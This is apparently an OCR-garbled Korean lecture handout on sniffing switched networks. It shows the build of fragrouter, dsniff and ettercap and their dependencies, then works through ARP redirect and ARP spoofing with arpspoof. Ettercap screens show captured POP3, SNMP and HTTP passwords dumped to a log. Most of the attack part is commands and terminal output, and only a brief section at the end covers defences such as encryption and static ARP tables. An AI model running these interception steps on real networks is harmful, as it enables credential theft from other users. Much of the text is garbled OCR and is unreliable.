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dsniff ettercap , fragrouter
(libpcap. Openssl 2)
fragrouter( ) - ARP redirect, ARP spoofing

#tar xvfz fragrouter-1.6.tar.gz <---—-—-——-

#cd fragrouter-1.6 < -

#./configure

loading cache ./config.cache

checking for gcc... (cached) gcc

checking whether the C compiler (gcc ) works... yes

checking whether the C compiler (gcc ) is a cross—-compiler... no
checking whether we are using GNU C... (cached) yes

creating test/Random/Makefile
creating util/Makefile

creating util/Get-mac/Makefile
creating include/config.h
include/config.h is unchanged

#make
cd ./Libnet-0.99b; make
make[1]: “/root/lecture/fragrouter-1.6/Libnet-0.99b’

ar -cr lib/libnet.a src/resolve.o src/socket.o src/checksum.o src/prand.o src/version.o src/error.0 src/write_ip.o
src/insert_ipo.o src/insert_tcpo.o src/error.0 src/sockpacket.o src/packet_mem.o src/build_ip.o src/build_tcp.o




gcc -pipe -Wall —-g -02 -I./libpcap-0.4 -1./Libnet-0.99b/include -c -0 send.o send.c

gcc -pipe -Wall —-g -02 -I./libpcap-0.4 -1./Libnet-0.99b/include -c -o sniff.o sniff.c

gcc -pipe -Wall —-g -02 -I1./libpcap-0.4 -1./Libnet-0.99b/include -c -0 tcp_seg.o tcp_seg.c

gcc -pipe -Wall -o fragrouter attack.o fragrouter.o ip_frag.o list.o misc.o print.o send.o sniff.o tcp_seg.o
-L./libpcap-0.4 -lpcap -L./Libnet-0.99b/lib -Inet -Insl

#make install
cd ./Libnet-0.99b; make
make[1]: “/root/lecture/fragrouter-1.6/Libnet-0.99b’

ar -cr lib/libnet.a src/resolve.o src/socket.o src/checksum.o src/prand.o src/version.o src/error.0 src/write_ip.o
src/insert_ipo.o src/insert_tcpo.o src/error.o src/sockpacket.o src/packet_mem.o src/build_ip.o src/build_tcp.o

./mkinstalldirs /usr/local/sbin

./mkinstalldirs /usr/local/man/man8

/usr/bin/install -c -m 755 fragrouter /usr/local/sbin
/usr/bin/install -c -m 644 fragrouter.8 /usr/local/man/man8

#fragrouter -B1 S fragrouter

dsniff - Switching
arpspoof, dnsspoof, mailsnarf, filesnarf , arpspoof
. dsniff Berkeley DB, OpenSSL, libpcap, libnids, libnet . dsniff
Berkeley DB -> Libnet -> libnids -> dsniff

Berkeley DB - ver 2.7.7 , ver 1.8.5
#tar xviz db-2.7.7.tar.gz < .
#cd /root/lecture/dsniff/db-2.7.7/dist e /dist
#./configure —-enable-compat185 S ver 1.8.5

loading cache ./config.cache

checking if building in the top-level directory... checking for a BSD compatible install... (cached) /usr/bin/install -c
checking host system type... i686-pc-linux—gnu

checking if —-enable-debug option specified... no

checking for cc... (cached) cc

creating db.h

creating db_int.h
creating db_185.h
creating config.h

config.h is unchanged




#make

cc -¢ -02 -I. -I./../include -D_REENTRANT ../btree/bt_compare.c
cc -c -02 -I. -I./../include -D_REENTRANT ../btree/bt_conv.c

cc -¢c -02 -I. -I./../include -D_REENTRANT ../btree/bt_curadj.c
cc -c -02 -I. -I./../include -D_REENTRANT ../btree/bt_cursor.c
cc -c -02 -I. -I./../include -D_REENTRANT ../btree/bt_delete.c

cc -o db_printlog db_printlog.o err.o getlong.o libdb.a

cc -c -02 -I. -I./../include -D_REENTRANT ../db_recover/db_recover.c
cc -0 db_recover db_recover.o err.o getlong.o libdb.a
cc -c -02 -I. -I./../include -D_REENTRANT ../db_stat/db_stat.c

cc -o db_stat db_stat.o err.o getlong.o libdb.a

#make install

Installing DB include files: /usr/local/BerkeleyDB/include ...
Installing DB library: /usr/local/BerkeleyDB/lib ...

Installing DB utilities: /usr/local/BerkeleyDB/bin ...
Installing documentation: /usr/local/BerkeleyDB/docs ...

#

Libnet
#tar xvfz libnet-1.0.2a.tar.gz R
#cd libnet-1.0.2a Booooooo

#./configure

loading cache ./config.cache

Beginning autoconfiguration process for libnet-1.0.2a...
checking host system type... i686-pc-linux—-gnu
checking target system type... i686-pc-linux—gnu

creating example/Makefile
creating libnet-config
creating include/config.h
include/config.h is unchanged

#make

gcc -02  -funroll-loops -fomit-frame-pointer -Wall -DHAVE_CONFIG_H -c  src/libnet_resolve.c -0
src/libnet_resolve.o

gcc -02 -funroll-loops -fomit-frame-pointer -Wall -DHAVE_CONFIG_H -c src/libnet_socket.c -o src/libnet_socket.o
gcc -02  -funroll-loops -fomit-frame-pointer -Wall -DHAVE _CONFIG_H -c src/libnet_checksum.c -0
src/libnet_checksum.o




src/libnet_packet_ mem.o src/libnet_build_ip.o  src/libnet_build_tcp.o  src/libnet_build_udp.o  src/libnet_build_arp.o
src/libnet_build_ethernet.o src/libnet_build_icmp.o src/libnet_build_igmp.o src/libnet_build_dns.o
src/libnet_build_snmp.o src/libnet_build_rip.o src/libnet_build_ospf.o src/libnet_build_vrrp.o src/libnet_asnl.o
src/libnet_hex_dump.o src/libnet_if_addr.o src/libnet_port_list.o

ranlib lib/libnet.a

#make install

ar —cr lib/libnet.a src/libnet_resolve.o src/libnet_socket.o src/libnet_checksum.o src/libnet_prand.o src/libnet_version.o
src/libnet_write_ip.o  src/libnet_insert_ipo.o  src/libnet_insert_tcpo.o src/libnet_error.o  src/libnet_link_sockpacket.o
src/libnet_packet_ mem.o  src/libnet_build_ip.o  src/libnet_build_tcp.o  src/libnet_build_udp.o  src/libnet_build_arp.o
src/libnet_build_ethernet.o src/libnet_build_icmp.o src/libnet_build_igmp.o src/libnet_build_dns.o
src/libnet_build_snmp.o

Jinstall-sh include/libnet/libnet-asnl.h /usr/include/libnet
Jinstall-sh include/libnet/libnet-ospf.h /usr/include/libnet
Jinstall-sh doc/libnet.3 /usr/man/man3/

Jinstall-sh libnet-config /usr/bin/

#

libnids
#tar xvfz libnids-1.16.tar.gz S
#cd libnids-1.16 Roomae

#./configure

loading cache ./config.cache

checking for gcc... (cached) gcc

checking whether the C compiler (gcc ) works... yes

checking whether the C compiler (gcc ) is a cross—compiler... no
checking whether we are using GNU C... (cached) yes

creating src/Makefile
creating src/nids.h
creating samples/Makefile
creating src/config.h
src/config.h is unchanged

#make
for dir in src samples ; do (cd $dir ; make all) ; done

make[1]: “/root/lecture/dsniff/libnids-1.16/src'

gcc -c -g -02 -D_BSD_SOURCE -D_BSD_SOURCE -D__ BSD_SOURCE -D__FAVOR_BSD
-DHAVE_NET_ETHERNET_H —DLIBNET_LIL_ENDIAN -Wall -DHAVE_ICMPHDR=1 -DHAVE_TCP_STATES=1
-DHAVE_BSD_UDPHDR=1 -I. -l/usr/include/pcap checksum.c

gcc -g -O2 -D_BSD_SOURCE -D BSD_SOURCE -D_ BSD SOURCE -D_ FAVOR_BSD -DHAVE_NET ETHERNET H
—-DLIBNET_LIL_ENDIAN -o printall printall.o -L../src -Inids -Ipcap -Inet -Insl




gcc -C -9 -02 -D_BSD_SOURCE -D_BSD_SOURCE -D__ BSD_SOURCE -D__FAVOR_BSD
-DHAVE_NET_ETHERNET_H -DLIBNET_LIL_ENDIAN -I. -l../src -l/usr/include/pcap sniff.c

gcc -g -02 -D_BSD_SOURCE -D_BSD_SOURCE -D_ BSD_SOURCE -D_ FAVOR_BSD -DHAVE_NET_ETHERNET_H
—-DLIBNET_LIL_ENDIAN -o sniff sniff.o -L../src -Inids -Ipcap -Inet -Insl

make[1]: */root/lecture/dsniff/libnids-1.16/samples’

#make install

for dir in src samples ; do (cd $dir ; make install) ; done
make[1]: “/root/lecture/dsniff/libnids-1.16/src'
../mkinstalldirs /usr/local/lib

../mkinstalldirs /usr/local/include

../mkinstalldirs /usr/local/man/man3

/usr/bin/install -c -c -m 644 libnids.a /usr/local/lib
/usr/bin/install -c -c -m 644 nids.h /usr/local/include
/usr/bin/install -c -c -m 644 libnids.3 /usr/local/man/man3

make[1]: */root/lecture/dsniff/libnids-1.16/src’
make[1]: “/root/lecture/dsniff/libnids-1.16/samples’
make[1]: */root/lecture/dsniff/libnids-1.16/samples’
#

dsniff
#tar xvfz dsniff-2.3.tar.gz <————-
#cd dsniff-2.3 <————

#./configure

loading cache ./config.cache

checking for gcc... (cached) gcc

checking whether the C compiler (gcc ) works... yes

checking whether the C compiler (gcc ) is a cross—compiler... no
checking whether we are using GNU C... (cached) yes

checking for OpenSSL... yes
creating ./config.status
creating Makefile

creating config.h

config.h is unchanged

#make
gcc -g -02 -D_BSD_SOURCE -D_BSD_SOURCE -D_ BSD _SOURCE -D_ FAVOR BSD -DHAVE_NET ETHERNET H
-DLIBNET_LIL_ENDIAN —-DDSNIFF_LIBDIR=\"/usr/local/lib/\" -1 -1/usr/local/include -l/usr/include/pcap

-1/usr/local/BerkeleyDB/include -I/usr/X11R6/include -I./missing -c ./missing/dummy.c
gcc —-g -02 -D_BSD_SOURCE -D BSD SOURCE -D_BSD_SOURCE -D_FAVOR_BSD -DHAVE_NET_ETHERNET_H




-DLIBNET_LIL_ENDIAN -DDSNIFF_LIBDIR=\"/usr/local/lib/\" -I. -I/usr/local/include —l/usr/include/pcap
—l/usr/local/BerkeleyDB/include -I/usr/X11R6/include -l./missing -c ./missing/strlcpy.c

/usr/include/netinet/in.h:133: warning: redefinition of “u_int32_t'

/usr/include/sys/types.h:198: warning: “u_int32_t' previously declared here

gcc -g -02 -D_BSD_SOURCE -D_BSD_SOURCE -D_ BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H
-DLIBNET _LIL_ENDIAN -DDSNIFF_LIBDIR=\"/usr/local/lib/\" -I. -I/usr/local/include —l/usr/include/pcap
—l/usr/local/BerkeleyDB/include -I/usr/X11R6/include -l./missing -c ./remote.c

gcc -0 webspy webspy.o base64.0 buf.o remote.o -lresolv -Insl -Irpcsvc -L. -Imissing -L/usr/local/lib -Inids
-lpcap -Inet -L/usr/X11R6/lib -ISM -IICE -IXmu -IX11

#make install
test -d /usr/local/sbin || \
/usr/bin/install -c -d /usr/local/sbin
for file in arpspoof dnsspoof dsniff filesnarf macof mailsnarf msgsnarf sshmitm tcpkill tcpnice urlsnarf webmitm
webspy ; do \
/usr/bin/install —-c -m 755 $file /usr/local/sbin; \
done
test -d /usr/local/lib || \
/usr/bin/install -c -d /usr/local/lib
for file in dsniff.magic dsniff.services dnsspoof.hosts; do \
/usr/bin/install —-c -m 644 $file /usr/local/lib; \
done
test -d /usr/local/man/man8 || \
/usr/bin/install -c -d /usr/local/man/man8
for file in *.8; do \
/usr/bin/install -c -m 644 $file /usr/local/man/man8; \

done
#H
ettercap - Sniffer ettercap-0.6.3.1-1
. ettercap ncurses4 openssl . openssl
ncurses4 - rpm

#rpm -ivh ncurses4-5.0-4.i386.rpm
HHHH AR HHAHHH AT A A AR
HHPHH AR HHAHHHA A A AR AR

ettercap - rpm . ettercap ethereal libssl libcrypto
/usr/lib/

.(wow7.3
/lib/ openssl

( /lib/libssl.s0.0.9.6b )




#rpm -q openssl <————- openssl
openssl-0.9.6b-18

#In -s /usr/lib/libssl.s0.0.9.6 /lib/libssl.s0.0.9.6b <————= /usr/lib
#In -s /usr/lib/libcrypto.s0.0.9.6 /lib/libcrypto.s0.0.9.6b <—--—-- /usr/lib
#rpm -ivh -nodeps ettercap-0.6.3.1-1.i386.rpm <—————-

HHHRAHHAHHHR AR AR R
HHHRAHHHHHR AR R R R

#ettercap <————- ettercap
Switching Sniffing
(http://packetstormsecurity.nl J)
.( LNF)

2) ARP redirect

Sniffing
ARP redirect . ARP redirect

Attacker
router
hosts
<ARP redirect >
fragrouter . -B1

#Hfragrouter -B1

[root@mayars! root]l# fragrouter —B1
Eragrnutar: base=1: normal IP forwarding




MAC address IP address ARP reply Broadcasting . dsniff
arpspoof
#Harpspoof -t XxXx.xxX.xxX.255 gate_address

[ root@mayari~ T

[root@mavard rootl# arpspoof —t 165. . 255
D:50:4:c0:ida:4a fRifFffoffiff:ff 0206 42: arp reply 168, 1 dig=at D:50:4:¢
N:darda
0:50:4:c0:da:4a ff:ff:ff:ff:ff:ff 0OB0OE 42: arp reply 1E8. 1 is—at D:SD:4:C
O:dazda
0:50:4:c0:4a:4a fr:ff:ff:ff:ff:ff 0806 42: arp reply 168. 1 is—at 0:50:4:¢i
O:dazda
0:50:4:c0:da:da FF:FfF:FF:fF:fF:ff 0806 42: arp reply 168, 1 is—at 0:50:4:c
D:darda ]
0:50:4:c0:4a:4a FF:ff:ff:fF:fFf:ff 0DB06 42: arp reply 168. 1 is-at 0:50:4:¢
O:da:da
0:50:4:c0:da:4a fr:ff:ff:ff:ff:ff 0806 42: arp reply 1E8. 1 is—at 0:50:4:¢3
O:4a:da
0:50:4:c0:4a:4a fr:ffeff:ff:ff:ff 0806 42: arp reply 158. 1 js—at D:SD:4:c
O:darda
0:50:4:c0:4a:4a FF:fF:fF:fFF:FF:FF 0806 42: arp reply 166, 1 is—at 0:50:4:¢ |
Ordazda
0:50:4:c0:4a:4a fr:ff:ff:ff:ff:ff 0806 42: arp reply 168. 1 is—at D:SD:4:-:
0:4a:4a
|

[EHI[E][FEA]

ARP redirect fragrouter

L] IFEUfﬁmayaﬂ-:ﬂ! LR

87.4453 > R 2. 1935: . 4016187267:4016188727(1460) ack 284079 |
2790 win 16984 (DF)
87.4453 > NN 2. 1935: P 4016188727:4016190187 (14600 ack 284073 |
2730 win 16984 (DF)
97.4453 > 2. 1935: . 4016190187:4016191647 (14600 ack 284079
2790 win 16984 (DF)
D 126.139 > . 14.21042: . ack 14136534 win 7814 (DF)
97.4453 > 2. 1935: . 4016191647:4016193107(1460) ack 284079 |
2790 win 16984 (DF) 5
87.1510 > NN . G.4255: P 4088658572:4088660032(1460) ack 13611 |
3018 win 16544 (DF)
126.133 > [ . 14.21042: P 42766968:42767007(39) ack 14198597 3
win 7751 (DF)
87.1510 > [ . £ .4255: . 4089660032:4082661432(1460) ack 13611
9022 win 16540 (DF)
97.1602 > N 222.4278: P 330251592:330253052(1460) ack 116136 |
6048 win 17312 (DF)
g7.1202 > L 222.4278: . 330253052:330254512(1460) ack 116136 ]
B049 win 17312 (DF)
97.4855 > NN 43.3000: . 2863543599: 2863545059(1460) ack 91082}
4040 win 16544 (DF) =

—s?.4ssa > I 43.3000; P 2863545059: 2863546519 (1460) ack 91082
imu win 16544 (DF) g

[ZH][=HA] [FEA]




ettercap ( ettercap 2
#ettercap

ettercap 0.6.3.1

— Your IP: 168. .138 MAC: 00:50:04:C0:4Az4A Iface: eth0 Link: SWITCH —
Host: ac.kr (168. [ 138 : 00:50:04:C0:4A:4A

[ZH][=Hd] [FEA]

ettercap 0.6-3.1

SOURCE: ANY < Filter: OFF
::}— i11ithid ({IP based) — ettercap
DEST : BMY 4 fetive Dissector: OFF

55.255.0)

. 114089 ACTIVE http
005003 LoP
o B 75 CLOSTMG| http
53 ' si lent | -http
B3 LIDP domain
2 (] nethios—ns
a3 CLOSING| http
31 SCTINE
107 Ared
113 ircd
123 Hrcd
133 =1 lent http
143 KILLED | http
157
163 Lpp netbios—ns
172 SCTINE
183 ACTIVE _
193 Lop rethios—ns
200 =ilent

— Your IP: 168 138 MAC: 00:50:04:C0:4A:4A Iface: ethO Link: SWITCH —

[ HI[HE] [FEA]




vi, cat

ettercap 0.6.3.1

i1T1ithid (IP hased) — ettercap
fctive Dissector: OFF

SOURCE: AMY <} Filter: OFF
REST 2 AMY <

114 hosts in this LAN {168.

255.255.255.00 ———

209 E9:2190 A

18] 2 / HEtp
L1409 | ACTIVE | http
: 009003 LoP
47 A7 175 CLOSIHG| http
5) P03:4341 | silent | http
E3 7053 UDP | domain
] 552137 UpP nethios—ns
] o
3) 168
101 168, | Pasowords dumped to 20021106-00:40:—Dumped Password. 1ol | d
113 188 d
2o d
130 23:1480 —3 70z 80 silent | http
140 23:14569 s 70280 KILLED | http
153 50:1028 <—> 05: 1563
163 461137 = 88:137 UDP | nethias—ns
173 B7:4453 =3 4231935 ACTINE
183 Beii412 = % A silent _
193 532737 — 552137 UDP | nethios—ns

128993 511ent

— your IP: 168. - 138 MAC: 00:50:04:C0:4A:4A Iface: ethd Link: SWITCH —

[ZH][=Hd] [FEA]

[ EeEEREOERES REREREN
PASS:

. 01:151 — . 155: 56579

IISER:

PASS:

coMunITy: [

. 1z 4221 - . 22110
USER:
PASS:

B 152:4120 — . 10:110

[(ZEHI L] [FEAM]

[root@mayarl rootl# cat 20021106—00%:40%:—Dumped_Password. l1og

pop3

Shimp

pop3

pop3




3) ARP spoofing
ARP spoofing . ARP spoofing
. (ARP redirect 2

Attacker

router
hosts
<ARP spoofing >
fragrouter

#Hfragrouter -B1

[root@mayad! root]l# fragrouter —B1
Eragrnutar: base=1: normal IP forwarding

[EH]I[=E][FEA]




reply

( )

“ root@Pman a7

i e T

4a:4a
4a:da
daida
darda
4a:4a

4343

0] [2 4] [F A

0:50:4:c0:dard4a 0:E:29:55:Ehb:
D:50:4:c0:4as4a 0:6:29:55:6b:
0:50:4:c0:4a:4a 0:6:29:55:6b:
0:50:4:c0:4a:4a 0:6:29:55:6h:

Q2504 c0:darda 0:6:29:55:6h:

ARP reply
#Harpspoof -t target_address gate_address

B1 0808 42:
81 02086 42:
81 0806 423
81 0806 42:
81 0808 42:

81 0806 42:

[root@maya?1 root]# arpspoof —t 162. . 228 188.
D:50:4:c0:4a:4a 0:6:29:55:6h:

arp
arp
arp
arp
arp

arp

o1
&.i ig=at

reply 162. -1 is-at
reply 165. -1 is—at
reply 165. -1 15-at
reply 166. -1 is-at
reply 168. -1 is-at

reply

I]:EI]:4:CEI: i
D:EI]:4:-:B:
IJ:SIJ:4:-:EI:
D:Sﬂ:4:cﬂ: f
u:su:4:cn: :

0:50:4:c0z §

#arpspoof -t gate_address target_address

e P e S e
LY h 3 fored T T
ar

O:4a:4a
D:4a:4a
N:4a:d4a
D:4a:da
N:4a:4a

14ai4a

2011 [ZE (T4

[rootdmaya?l root]# arpspoof —t
D:5M4:c0:daz4a 0:0:1d:f4:88:89 0806 42:

0:50:d:c0rdarda 0:0:1d: fd:BE:
0:50:4:c0rdasda 0:0:1d:f4:88:
O:50:4:c0:4az4a 0:0:1d:T4:88:
0:50:4:c0:4a:4a 0:0:1d: f4:88:

D:50d:c0zdarda 0:0:1d: f4:88:

@3 0B0E 42
ed 0806 42:
g3 0806 42:
g3 0806 42:

@9 0806 42:

0 4

O:50:4:c0:da:4a 0:0:1d: fd:80: 2 0306 42:
0:4
0:50:4:c0:4a:4a 0:0:1d:F4:88: 29 0806 42:
0:4
|

162, . 1

arp
arp
arp
arp
arp
arp
arp

arp

168,

reply 165, . 228 is-at u:sn:4:c :
reply 165. . 2228 is-at [|:5[|:4:c
reply 162, . 225 is—at 0:50:4:c |
reply 165, . 228 is-at 0:50:4:c

. 228 f
reply 168. .228 is—at 0:50:4:c @

reply 162. - 222 is-at [I:SEI:4:c
reply 166, I, 228 is-at 0:50:4:c @
reply 166. M. 226 is-at 0:50:4:c @

=lie]x]

ARP



ettercap

#ettercap

ettercap 0.6.3.1

— Your IP: 168. .138 MAC: 00:50:04:C0:4A:4A Iface: ethd Link: SWITCH —
Host: ac.kr (168. [ 138 : 00:50:04:C0:4A:4A

[ZH][=Hd] [FEA]

ettercap 0.6-3.1

SOURCE: ANY < Filter: OFF
::}— i11ithid ({IP based) — ettercap
DEST : BMY 4 fetive Dissector: OFF

55.255.0)

. 114089 ACTIVE http
005003 LoP
o B 75 CLOSTMG| http
53 ' si lent | -http
B3 LIDP domain
2 (] nethios—ns
a3 CLOSING| http
31 SCTINE
107 Ared
113 ircd
123 Hrcd
133 =1 lent http
143 KILLED | http
157
163 Lpp netbios—ns
172 SCTINE
183 ACTIVE _
193 Lop rethios—ns
200 =ilent

— Your IP: 168 138 MAC: 00:50:04:C0:4A:4A Iface: ethO Link: SWITCH —

[ HI[HE] [FEA]




vi, cat

ettercap 0.6.3.1
SOURCE: ANY < Filter: OFF
} illithid (IP based) — ettercap
<

DEST : BMY fotive Dissector: OFF

this LAN (168. 138 @ 255.2

—_ ; .1 :-1.11 http

— 100z 5003
] % = e htta
] 11280 —r P34 341 silent | http
BJ 37:2558  i—: #0553 UpRE | domain
7 Sa: 137 - 552137 pp nettios—ns
B p
3 1EE. '
107 160, | Passwords dumped to 20021106-00:40:—Dumped Password.1ogl] 3
113 1
123 d
130 23:1480 G 70380 silent | http
143 23:1489  <— 70:80 KILLED | http
157 502 1028 — 05: 1663
163 45137 = AE:137 UDP | netbios—ns
a7 B 4453 {—3 421835 SCTINE
182 87211412 — Flakeay silant :
183 533437 — 552137 UDp netbios—ns
200 B3:2190 A= 1728899 5ilent

— Your IP: 168. [ 138 MAC: D0:50:04:C0:4A:4A Tface: ethd Link: SWITCH —

[EHI[EAI[FEA]

L} o

[rootémaya?! root]# cat 20021106-01%:14:—Dumped_Password. Tog
166. . 49: 1629 = 211. . 123:90 http

USER:
PASS:

http: /f (null3/Status

166. - 49: 1632 — 211 - 123:50 http
USER:
PASS:

htp: /7211 [ 123/5tatus

168, [ 49: 1622 = 211. . 123: 20 http
USER:

PASS:

http: /7211 I 123/5tatus

[root@maya?l rootld i
(2 (H] [2] [FRA]

™ ) (5] x]




)
5. Sniffing
Sniffing
Sniffing
Sniffing
Sniffer
1)
Sniffing
Sniffing

SCP, PGP, S/MINE, SSL

VPN Sniffing

2)
Sniffer

P XXX.XXX.XXX.228

address table static

Sniffing

, FTP, HTTP, POP

Sniffer
Sniffer

. Sniffer

Check Promiscuous Mode(CPM)

LOpht AntiSniff
http://www.securitymap.net/stm/stm _ids.html

UNIX

XXX . XXX.XXX.49

, IDS Sniffing

clear-text

Promiscuous mode

sentinel

http://www.packetfactory.net/Projects/sentinel

3)
, static
MAC static(permanent)
6.
HACKING EXPOSED - Third Edition ( )
HACKING HOWTO -
3 -

TCP/IP lllustrated, Volumel
http://www.kldp.org
http://www.khdp.org
http://www.certcc.or.kr
http://www.wowhacker.org
http://www.securitymap.net
http://www.monkey.org
http://www.subterrain.net

http://packetstormsecurity.nl

libpcap

ARP spoofing, ARP redirect

(Packet Capture using libpcap)

SSH,



